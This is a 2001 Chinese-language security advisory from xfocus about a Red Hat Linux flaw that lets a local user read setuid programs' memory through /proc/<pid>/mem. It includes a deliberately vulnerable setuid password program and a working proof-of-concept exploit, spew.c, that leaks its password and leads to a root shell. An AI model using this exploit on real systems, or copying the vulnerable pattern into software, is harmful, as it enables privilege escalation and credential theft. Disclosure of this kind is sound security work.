xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux允许读取SETUID程序中的内存信息


发布时间:2001-07-04
更新时间:2001-07-04
严重程度:
威胁程度:口令恢复
错误类型:设计错误
利用方式:服务器模式

受影响系统
Redhat
详细描述
在证实的Redhat linux操作系统中存在本地用户可以读取高权利程序的
内存内容,这可导致攻击者可以获得内容中的一些敏感信息如用户名和
密码。在部分环境下存在可能通过close()ing fd 0来读/proc/$$/mem和
用/proc/<curpid>/mem来打开它,在打开它以后,lseek()ing你想读的
进程中的内存偏移量会导致程序在那个位置以文本输入方式获取内存内容。
(如/proc/<curpid>/mem文件句柄通过execve()继续保留并且setuid进程有
权利读取).

测试代码
下面一个程序模拟一密码程序:

/**********************************************
** vuln-prog.c - chown root:root, chmod u+s **
**********************************************/

char *password, *input;
main(int argc,char*argv[])
{
int fd,count;
if(0>(fd=open("/dev/urandom",0)))exit(1);//check for resource starvation
password=(char*)malloc(17);
read(fd,password,16);
if(close(fd))exit(1);
password[16]=0;
input=(char*)malloc(17);
for(count=0;count<16;count++)input[count]=getchar();
input[count]=0;
for(count=0;count<16;count++)if(input[count]!=password[count])exit(1);
setreuid(0,0);
execl("/bin/bash","sh","-c",argv[1],0);
}

EOF

Generic exploit:
/* spew.c */
#include <stdio.h>
/* to get the address, ltrace a copy of the program as a normal user,
   or brute force it over the expected range. */

#define WHERETOREAD [the address malloced for password by vuln-prog]
// use ltrace on a non setuid copy of the program, or bruteforce it.
main()
{
char y[1000];
FILE *f;
int p;
p=getpid();
sprintf(y,"/proc/%d/mem",p);
close(0);
f=fopen(y,"r");
fseek(f,WHERETOREAD,SEEK_SET);
execl("/tmp/vuln-prog","scary","/tmp/myscript",0);
}

EOF

解决方案
尚无

相关信息